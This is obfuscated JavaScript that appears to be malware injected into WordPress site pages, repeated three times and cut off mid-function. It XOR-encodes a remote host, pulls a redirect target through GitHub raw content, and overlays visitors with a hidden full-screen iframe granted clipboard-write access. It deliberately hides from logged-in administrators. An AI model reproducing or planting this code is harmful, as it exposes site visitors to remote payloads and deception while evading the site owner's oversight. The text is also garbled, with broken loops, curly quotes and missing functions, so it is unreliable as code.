if (apiOrigin) origins[apiOrigin] = true;for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));if (!builtUrl) {
return step(index + 1);
}if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}return step(0);
}function activateIframe(url) {
if (!url || registry.status === “active”) return;if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);registry.status = “active”;iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}registry.destroy = destroy;
registry.reveal = reveal;iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};iframe.onerror = function () {
destroy();
};timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}function run() {
warmupOrigins();
bindMessageHandler();return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}finalUrl = toHttpUrl(finalUrl);if (!finalUrl) {
cleanup(“done”);
return “”;
}var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;var de = document.documentElement;
var body = document.body;if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}return false;
}if (isWpLoggedInContext()) return;if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}registry.status = “loading”;function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}function buildTrustedUrl(template, id) {
if (!template || !id) return “”;if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}var encoded = encodeURIComponent(id);if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}return template.replace(/\{id\}/g, encoded);
}function toHttpUrl(value) {
if (!value) return “”;var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);if (!s) return “”;if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}return “”;
}function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;if (typeof input === “string”) {
return toHttpUrl(input);
}if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}return "";
}function extractLandingUrl(raw) {
if (!raw) return "";var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";var direct = toHttpUrl(text);
if (direct) return direct;if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}return “”;
}function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}function addHint(rel, href) {
if (!href || !document || !document.createElement) return;var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;try {
var parent = document.head || document.documentElement;
if (!parent) return;var link = document.createElement(“link”);
link.rel = rel;
link.href = href;if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}parent.appendChild(link);
} catch (e) {}
}function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));if (!builtUrl) {
return step(index + 1);
}if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}return step(0);
}function activateIframe(url) {
if (!url || registry.status === “active”) return;if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);registry.status = “active”;iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}registry.destroy = destroy;
registry.reveal = reveal;iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};iframe.onerror = function () {
destroy();
};timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}function run() {
warmupOrigins();
bindMessageHandler();return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}finalUrl = toHttpUrl(finalUrl);if (!finalUrl) {
cleanup(“done”);
return “”;
}var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;var de = document.documentElement;
var body = document.body;if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}return false;
}if (isWpLoggedInContext()) return;if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}registry.status = “loading”;function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}function buildTrustedUrl(template, id) {
if (!template || !id) return “”;if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}var encoded = encodeURIComponent(id);if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}return template.replace(/\{id\}/g, encoded);
}function toHttpUrl(value) {
if (!value) return “”;var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);if (!s) return “”;if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}return “”;
}function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;if (typeof input === “string”) {
return toHttpUrl(input);
}if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}return "";
}function extractLandingUrl(raw) {
if (!raw) return "";var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";var direct = toHttpUrl(text);
if (direct) return direct;if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}return “”;
}function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}function addHint(rel, href) {
if (!href || !document || !document.createElement) return;var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;try {
var parent = document.head || document.documentElement;
if (!parent) return;var link = document.createElement(“link”);
link.rel = rel;
link.href = href;if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}parent.appendChild(link);
} catch (e) {}
}function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));if (!builtUrl) {
return step(index + 1);
}if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}return step(0);
}function activateIframe(url) {
if (!url || registry.status === “active”) return;if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);registry.status = “active”;iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}registry.destroy = destroy;
registry.reveal = reveal;iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};iframe.onerror = function () {
destroy();
};timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}function run() {
warmupOrigins();
bindMessageHandler();return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}finalUrl = toHttpUrl(finalUrl);if (!finalUrl) {
cleanup(“done”);
return “”;
}var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}registry.runPromise = run();
})();